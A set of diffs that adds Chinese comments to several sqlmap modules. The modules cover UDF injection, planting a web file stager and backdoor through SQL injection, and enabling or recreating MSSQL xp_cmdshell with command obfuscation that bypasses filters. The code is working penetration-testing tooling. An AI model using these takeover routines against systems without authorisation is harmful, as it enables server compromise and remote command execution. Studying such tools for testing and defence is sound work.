# 设置默认返回类型
if Backend.isDbms(DBMS.MYSQL):
defaultType = "string"
elif Backend.isDbms(DBMS.PGSQL):
@ -269,6 +334,7 @@ class UDF(object):
self.udfs[udfName]["input"] = []
# 获取输入参数数量
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: 1) " % udfName
@ -282,6 +348,7 @@ class UDF(object):
else:
logger.warning("invalid value, only digits >= 0 are allowed")
# 获取每个输入参数的类型
for y in xrange(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
@ -296,6 +363,7 @@ class UDF(object):
self.udfs[udfName]["input"].append(parType)
break
# 获取返回值类型
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
@ -308,12 +376,14 @@ class UDF(object):
self.udfs[udfName]["return"] = retType
break
# 注入UDF
success = self.udfInjectCore(self.udfs)
if success is False:
self.cleanup(udfDict=self.udfs)
return False
# 询问是否要调用注入的UDF
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default='Y').upper()
@ -325,6 +395,7 @@ class UDF(object):
self.cleanup(udfDict=self.udfs)
raise SqlmapUserQuitException
# 循环调用UDF
while True:
udfList = []
msg = "which UDF do you want to call?"
@ -351,6 +422,7 @@ class UDF(object):
if not isinstance(choice, int):
break
# 构建UDF调用命令
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
@ -378,6 +450,7 @@ class UDF(object):
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
# 执行UDF并获取返回值
if readInput(msg, default='Y', boolean=True):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
@ -393,4 +466,5 @@ class UDF(object):
if not readInput(msg, default='Y', boolean=True):
break
# 清理UDF
self.cleanup(udfDict=self.udfs)

@ -5,76 +5,90 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入所需的标准库
import io
import os
import posixpath
import re
import tempfile
from extra.cloak.cloak import decloak
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import getAutoDirectories
from lib.core.common import getManualDirectories
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import isDigit
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile
from lib.core.common import parseFilePaths
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import OrderedSet
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import OS
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib.core.settings import EVENTVALIDATION_REGEX
from lib.core.settings import SHELL_RUNCMD_EXE_TAG
from lib.core.settings import SHELL_WRITABLE_DIR_TAG
from lib.core.settings import VIEWSTATE_REGEX
from lib.request.connect import Connect as Request
from thirdparty.six.moves import urllib as _urllib
# 导入自定义模块和第三方库
from extra.cloak.cloak import decloak # 用于解密混淆的文件
from lib.core.agent import agent # SQL注入代理模块
from lib.core.common import arrayizeValue # 将值转换为数组
from lib.core.common import Backend # 后端DBMS信息
from lib.core.common import extractRegexResult # 正则提取结果
from lib.core.common import getAutoDirectories # 获取自动检测的目录
from lib.core.common import getManualDirectories # 获取手动指定的目录
from lib.core.common import getPublicTypeMembers # 获取类的公共成员
from lib.core.common import getSQLSnippet # 获取SQL代码片段
from lib.core.common import getTechnique # 获取注入技术
from lib.core.common import getTechniqueData # 获取注入技术数据
from lib.core.common import isDigit # 判断是否为数字
from lib.core.common import isTechniqueAvailable # 判断注入技术是否可用
from lib.core.common import isWindowsDriveLetterPath # 判断是否为Windows驱动器路径
from lib.core.common import normalizePath # 规范化路径
from lib.core.common import ntToPosixSlashes # Windows路径转POSIX路径
from lib.core.common import openFile # 打开文件
from lib.core.common import parseFilePaths # 解析文件路径
from lib.core.common import posixToNtSlashes # POSIX路径转Windows路径
from lib.core.common import randomInt # 生成随机整数
from lib.core.common import randomStr # 生成随机字符串
from lib.core.common import readInput # 读取用户输入
from lib.core.common import singleTimeWarnMessage # 单次警告消息
from lib.core.compat import xrange # 兼容Python2/3的range
from lib.core.convert import encodeHex # 十六进制编码
from lib.core.convert import getBytes # 获取字节串
from lib.core.convert import getText # 获取文本
from lib.core.convert import getUnicode # 获取Unicode字符串
from lib.core.data import conf # 配置数据
from lib.core.data import kb # 知识库数据
from lib.core.data import logger # 日志记录器
from lib.core.data import paths # 路径信息
from lib.core.datatype import OrderedSet # 有序集合
from lib.core.enums import DBMS # 数据库管理系统枚举
from lib.core.enums import HTTP_HEADER # HTTP头部枚举
from lib.core.enums import OS # 操作系统枚举
from lib.core.enums import PAYLOAD # 载荷类型枚举
from lib.core.enums import PLACE # 注入位置枚举
from lib.core.enums import WEB_PLATFORM # Web平台枚举
from lib.core.exception import SqlmapNoneDataException # sqlmap异常类
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT # 后门命令执行超时设置
from lib.core.settings import EVENTVALIDATION_REGEX # ASP.NET事件验证正则
from lib.core.settings import SHELL_RUNCMD_EXE_TAG # Shell运行命令可执行文件标签
from lib.core.settings import SHELL_WRITABLE_DIR_TAG # Shell可写目录标签
from lib.core.settings import VIEWSTATE_REGEX # ASP.NET视图状态正则
from lib.request.connect import Connect as Request # HTTP请求类
from thirdparty.six.moves import urllib as _urllib # URL处理库
class Web(object):
"""
This class defines web-oriented OS takeover functionalities for
plugins.
这个类定义了Web相关的操作系统接管功能
主要用于上传和执行Web后门,实现对目标系统的远程控制
"""
def __init__(self):
self.webPlatform = None
self.webBaseUrl = None
self.webBackdoorUrl = None
self.webBackdoorFilePath = None
self.webStagerUrl = None
self.webStagerFilePath = None
self.webDirectory = None
"""
初始化Web类的属性
"""
self.webPlatform = None # Web平台类型(PHP/ASP/ASPX等)
self.webBaseUrl = None # Web根URL
self.webBackdoorUrl = None # 后门URL
self.webBackdoorFilePath = None # 后门文件路径
self.webStagerUrl = None # 文件上传器URL
self.webStagerFilePath = None # 文件上传器路径
self.webDirectory = None # Web目录
def webBackdoorRunCmd(self, cmd):
"""
通过Web后门执行系统命令
参数:
cmd: 要执行的命令
返回:
命令执行的输出结果
"""
if self.webBackdoorUrl is None:
return
@ -83,10 +97,13 @@ class Web(object):
if not cmd:
cmd = conf.osCmd
# 构造命令执行URL
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))
# 发送请求执行命令
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None:
# 从响应中提取命令输出
output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)
if output:
@ -95,18 +112,30 @@ class Web(object):
return output
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
"""
上传文件到目标服务器
参数:
destFileName: 目标文件名
directory: 目标目录
stream: 文件流对象
content: 文件内容
filepath: 本地文件路径
返回:
上传是否成功
"""
if filepath is not None:
if filepath.endswith('_'):
content = decloak(filepath) # cloaked file
content = decloak(filepath) # 解密混淆文件
else:
with openFile(filepath, "rb", encoding=None) as f:
content = f.read()
if content is not None:
stream = io.BytesIO(getBytes(content)) # string content
stream = io.BytesIO(getBytes(content)) # 将内容转换为字节流
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
# 设置流的长度属性
stream.seek(0, os.SEEK_END)
stream.len = stream.tell()
stream.seek(0, os.SEEK_SET)
@ -114,7 +143,18 @@ class Web(object):
return self._webFileStreamUpload(stream, destFileName, directory)
def _webFileStreamUpload(self, stream, destFileName, directory):
stream.seek(0) # Rewind
"""
通过文件流上传文件的内部方法
参数:
stream: 文件流对象
destFileName: 目标文件名
directory: 目标目录
返回:
上传是否成功
"""
stream.seek(0) # 重置流位置
try:
setattr(stream, "name", destFileName)
@ -122,16 +162,19 @@ class Web(object):
pass
if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
# 构造多部分表单数据
multipartParams = {
"upload": "1",
"file": stream,
"uploadDir": directory,
}
# 对ASP.NET平台添加特殊参数
if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
# 发送上传请求
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
if "File uploaded" not in (page or ""):
@ -146,10 +189,22 @@ class Web(object):
return False
def _webFileInject(self, fileContent, fileName, directory):
"""
通过SQL注入写入文件的内部方法
参数:
fileContent: 文件内容
fileName: 文件名
directory: 目标目录
返回:
注入结果页面
"""
outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = ""
# 根据注入技术构造查询
if isTechniqueAvailable(getTechnique()):
where = getTechniqueData().where
@ -157,8 +212,9 @@ class Web(object):
randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt)
# 构造写文件的SQL语句
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
query = agent.prefixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
@ -166,26 +222,32 @@ class Web(object):
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
初始化Web后门
该方法用于在Web服务器的可写目录中写入Web后门(代理)
"""
# 如果已经初始化过,直接返回
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return
# 检查数据库和操作系统类型
self.checkDbmsOs()
# 确定Web平台类型
default = None
choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
# 根据URL后缀猜测Web平台
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
# 如果无法猜测,根据操作系统设置默认值
if not default:
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
# 提示用户选择Web平台
message = "which web application language does the web server "
message += "support?\n"
@ -198,6 +260,7 @@ class Web(object):
message = message[:-1]
# 获取用户输入的Web平台选择
while True:
choice = readInput(message, default=str(default))
@ -211,6 +274,7 @@ class Web(object):
self.webPlatform = choices[int(choice) - 1]
break
# 尝试获取完整的文件路径信息
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
@ -219,6 +283,7 @@ class Web(object):
headers = {}
been = set([conf.url])
# 尝试访问WordPress相关路径
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
@ -230,6 +295,7 @@ class Web(object):
finally:
been.add(url)
# 尝试访问带~的URL
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
@ -240,6 +306,7 @@ class Web(object):
finally:
been.add(url)
# 尝试不同的参数注入方式
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
@ -247,6 +314,7 @@ class Web(object):
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
# 尝试Cookie注入
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
@ -264,10 +332,12 @@ class Web(object):
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
# 获取可能的目标目录列表
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(OrderedSet(directories))
# 处理URL路径
path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
@ -278,33 +348,39 @@ class Web(object):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
# 生成后门文件名和内容
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
# 获取文件上传器内容
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
# 遍历目录尝试上传后门
for directory in directories:
if not directory:
continue
# 生成上传器文件名和路径
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
# 规范化目录路径
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
# 尝试通过LIMIT方法上传文件上传器
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
# 检查上传器是否可访问
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -318,7 +394,7 @@ class Web(object):
uploaded = True
break
# Fall-back to UNION queries file upload method
# 如果LIMIT方法失败,尝试使用UNION查询方法
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
@ -332,16 +408,20 @@ class Web(object):
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
# 创建临时文件
handle, filename = tempfile.mkstemp()
os.close(handle)
# 写入上传器内容
with openFile(filename, "w+b") as f:
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(_)
# 通过UNION查询上传文件
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
# 检查上传器是否可访问
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -359,12 +439,14 @@ class Web(object):
if not uploaded:
continue
# 检查上传器是否被正确解释执行
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warning(warnMsg)
continue
# 处理ASP.NET特殊参数
elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
@ -373,6 +455,7 @@ class Web(object):
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
# 处理ASP平台特殊情况
if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
@ -381,6 +464,7 @@ class Web(object):
else:
continue
# 上传后门和命令执行组件
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
@ -390,6 +474,7 @@ class Web(object):
continue
else:
# 上传后门文件
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
@ -401,6 +486,7 @@ class Web(object):
warnMsg += "different servers"
logger.warning(warnMsg)
# 询问是否使用相同方法重试
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
@ -414,6 +500,7 @@ class Web(object):
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
# 测试后门是否可用
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)

@ -5,76 +5,109 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import flattenValue
from lib.core.common import getLimitRange
from lib.core.common import getSQLSnippet
from lib.core.common import hashDBWrite
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import wasLastResponseDelayed
from lib.core.compat import xrange
from lib.core.convert import encodeHex
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.threads import getCurrentThreadData
from lib.request import inject
# 导入所需的模块和函数
from lib.core.agent import agent # 导入agent模块,用于执行SQL命令
from lib.core.common import Backend # 导入Backend模块,用于获取数据库后端信息
from lib.core.common import flattenValue # 导入flattenValue函数,用于将嵌套列表展平成一维列表
from lib.core.common import getLimitRange # 导入getLimitRange函数,用于获取分页查询的范围
from lib.core.common import getSQLSnippet # 导入getSQLSnippet函数,用于获取预定义的SQL代码片段
from lib.core.common import hashDBWrite # 导入hashDBWrite函数,用于将数据写入哈希数据库
from lib.core.common import isListLike # 导入isListLike函数,用于判断对象是否类似列表
from lib.core.common import isNoneValue # 导入isNoneValue函数,用于判断值是否为None
from lib.core.common import isNumPosStrValue # 导入isNumPosStrValue函数,用于判断字符串是否为正数
from lib.core.common import isTechniqueAvailable # 导入isTechniqueAvailable函数,用于检查SQL注入技术是否可用
from lib.core.common import popValue # 导入popValue函数,用于从栈中弹出值
from lib.core.common import pushValue # 导入pushValue函数,用于将值压入栈
from lib.core.common import randomStr # 导入randomStr函数,用于生成随机字符串
from lib.core.common import readInput # 导入readInput函数,用于读取用户输入
from lib.core.common import wasLastResponseDelayed # 导入wasLastResponseDelayed函数,用于检查上次响应是否有延迟
from lib.core.compat import xrange # 导入xrange函数,用于兼容Python2和3的range函数
from lib.core.convert import encodeHex # 导入encodeHex函数,用于十六进制编码
from lib.core.data import conf # 导入conf模块,用于访问全局配置
from lib.core.data import kb # 导入kb模块,用于访问知识库
from lib.core.data import logger # 导入logger模块,用于日志记录
from lib.core.decorators import stackedmethod # 导入stackedmethod装饰器,用于堆叠查询方法
from lib.core.enums import CHARSET_TYPE # 导入CHARSET_TYPE枚举,定义字符集类型
from lib.core.enums import DBMS # 导入DBMS枚举,定义数据库类型
from lib.core.enums import EXPECTED # 导入EXPECTED枚举,定义期望的返回类型
from lib.core.enums import HASHDB_KEYS # 导入HASHDB_KEYS枚举,定义哈希数据库的键
from lib.core.enums import PAYLOAD # 导入PAYLOAD枚举,定义SQL注入的载荷类型
from lib.core.exception import SqlmapUnsupportedFeatureException # 导入异常类,用于不支持的功能
from lib.core.threads import getCurrentThreadData # 导入getCurrentThreadData函数,用于获取当前线程数据
from lib.request import inject # 导入inject模块,用于执行SQL注入
class XP_cmdshell(object):
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins.
这个类用于处理Microsoft SQL Server的xp_cmdshell扩展存储过程
xp_cmdshell是SQL Server提供的一个系统存储过程,可以执行操作系统命令
该类提供了创建配置测试和执行xp_cmdshell的各种方法
"""
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
"""
初始化XP_cmdshell类的实例
设置xp_cmdshell存储过程的默认名称为master..xp_cmdshell
"""
self.xpCmdshellStr = "master..xp_cmdshell" # 设置默认的xp_cmdshell存储过程名称
def _xpCmdshellCreate(self):
"""
创建新的xp_cmdshell存储过程
当原始的xp_cmdshell被禁用时,可以创建一个新的具有相同功能的存储过程
主要步骤:
1. 对于非SQL Server 2000版本,需要先激活sp_OACreate
2. 生成随机字符串作为新存储过程名称的一部分
3. 执行创建存储过程的SQL命令
"""
cmd = ""
# 如果不是SQL Server 2000版本,需要先激活sp_OACreate
if not Backend.isVersionWithin(("2000",)):
logger.debug("activating sp_OACreate")
logger.debug("激活sp_OACreate")
# 获取激活sp_OACreate的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
inject.goStacked(agent.runAsDBMSUser(cmd))
self._randStr = randomStr(lowercase=True)
self.xpCmdshellStr = "master..new_xp_cmdshell"
# 生成随机字符串作为新存储过程的一部分
self._randStr = randomStr(lowercase=True) # 生成小写随机字符串
self.xpCmdshellStr = "master..new_xp_cmdshell" # 设置新的存储过程名称
# 获取创建新xp_cmdshell的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
# 如果不是SQL Server 2000,需要重新配置
if not Backend.isVersionWithin(("2000",)):
cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行创建命令
def _xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
"""
配置SQL Server 2005及更高版本的xp_cmdshell
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_configure存储过程配置xp_cmdshell"
logger.debug(debugMsg)
cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd
def _xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
"""
配置SQL Server 2000版本的xp_cmdshell
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_addextendedproc存储过程配置xp_cmdshell"
logger.debug(debugMsg)
if mode == 1:
@ -85,68 +118,97 @@ class XP_cmdshell(object):
return cmd
def _xpCmdshellConfigure(self, mode):
"""
根据SQL Server版本配置xp_cmdshell
会自动判断SQL Server版本并调用相应的配置方法
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
"""
if Backend.isVersionWithin(("2000",)):
cmd = self._xpCmdshellConfigure2000(mode)
cmd = self._xpCmdshellConfigure2000(mode) # SQL Server 2000版本
else:
cmd = self._xpCmdshellConfigure2005(mode)
cmd = self._xpCmdshellConfigure2005(mode) # SQL Server 2005及以上版本
inject.goStacked(agent.runAsDBMSUser(cmd))
inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行配置命令
def _xpCmdshellCheck(self):
"""
检查xp_cmdshell是否可用
通过执行ping命令并检查响应延迟来测试xp_cmdshell的可用性
返回:
bool: True表示xp_cmdshell可用,False表示不可用
"""
# 使用ping命令测试,延迟时间为配置的时间的2倍
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
self.xpCmdshellExecCmd(cmd)
return wasLastResponseDelayed()
return wasLastResponseDelayed() # 返回是否发生了预期的延迟
@stackedmethod
def _xpCmdshellTest(self):
"""
测试xp_cmdshell的功能是否正常
通过执行简单的echo命令来验证xp_cmdshell是否能正常工作
同时检查是否有权限写入临时目录
"""
threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut)
threadData.disableStdOut = True
logger.info("testing if xp_cmdshell extended procedure is usable")
output = self.xpCmdshellEvalCmd("echo 1")
logger.info("测试xp_cmdshell扩展存储过程是否可用")
output = self.xpCmdshellEvalCmd("echo 1") # 执行测试命令
if output == "1":
logger.info("xp_cmdshell extended procedure is usable")
logger.info("xp_cmdshell扩展存储过程可用")
elif isNoneValue(output) and conf.dbmsCred:
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
errMsg += "storing console output within the back-end file system "
errMsg += "does not have writing permissions for the DBMS process. "
errMsg += "You are advised to manually adjust it with option "
errMsg += "'--tmp-path' or you won't be able to retrieve "
errMsg += "the command(s) output"
errMsg = "似乎后端文件系统中用于存储控制台输出的临时目录('%s')" % self.getRemoteTempPath()
errMsg += "对DBMS进程没有写入权限。"
errMsg += "建议您使用'--tmp-path'选项手动调整,"
errMsg += "否则将无法获取命令输出"
logger.error(errMsg)
elif isNoneValue(output):
logger.error("unable to retrieve xp_cmdshell output")
logger.error("无法获取xp_cmdshell输出")
else:
logger.info("xp_cmdshell extended procedure is usable")
logger.info("xp_cmdshell扩展存储过程可用")
threadData.disableStdOut = popValue()
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
echoedLines = []
cmd = ""
charCounter = 0
maxLen = 512
"""
使用xp_cmdshell写入文件
通过echo命令将内容写入指定的文件
参数:
fileContent: 要写入的文件内容
tmpPath: 临时文件路径
randDestFile: 随机生成的目标文件名
"""
echoedLines = [] # 存储echo命令行
cmd = "" # 最终要执行的命令
charCounter = 0 # 字符计数器
maxLen = 512 # 单条命令最大长度
# 处理文件内容,转换为行列表
if isinstance(fileContent, (set, list, tuple)):
lines = fileContent
else:
lines = fileContent.split("\n")
# 为每行内容创建echo命令
for line in lines:
echoedLine = "echo %s " % line
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine)
# 分批执行命令以避免命令过长
for echoedLine in echoedLines:
cmd += "%s & " % echoedLine
charCounter += len(echoedLine)
if charCounter >= maxLen:
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
cmd = ""
charCounter = 0
@ -154,17 +216,23 @@ class XP_cmdshell(object):
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
"""
构造xp_cmdshell命令
将要执行的命令封装成SQL语句
参数:
cmd: 要执行的命令
insertIntoTable: 存储结果的表名
返回:
str: 构造好的SQL命令
"""
# 当用户提供DBMS凭据时,需要将命令输出重定向到临时文件
if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
# 混淆要执行的命令,也可用于绕过单引号过滤
self._randStr = randomStr(lowercase=True)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
@ -173,11 +241,7 @@ class XP_cmdshell(object):
except UnicodeError:
self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
# 将命令输出插入支持表'sqlmapoutput'
if insertIntoTable and not conf.dbmsCred:
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
@ -186,11 +250,34 @@ class XP_cmdshell(object):
return agent.runAsDBMSUser(self._forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False):
"""
执行xp_cmdshell命令
参数:
cmd: 要执行的命令
silent: 是否静默执行,不显示输出
返回:
str: 命令执行结果
"""
return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
"""
评估并执行xp_cmdshell命令,处理输出结果
支持直接模式和通过表存储结果两种方式
参数:
cmd: 要执行的命令
first: 结果的起始位置
last: 结果的结束位置
返回:
str: 处理后的命令输出结果
"""
output = None
# 直接模式执行
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
@ -205,21 +292,21 @@ class XP_cmdshell(object):
output = new_output
else:
# 通过支持表执行命令
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
# 处理DBMS凭据情况下的命令输出
if conf.dbmsCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
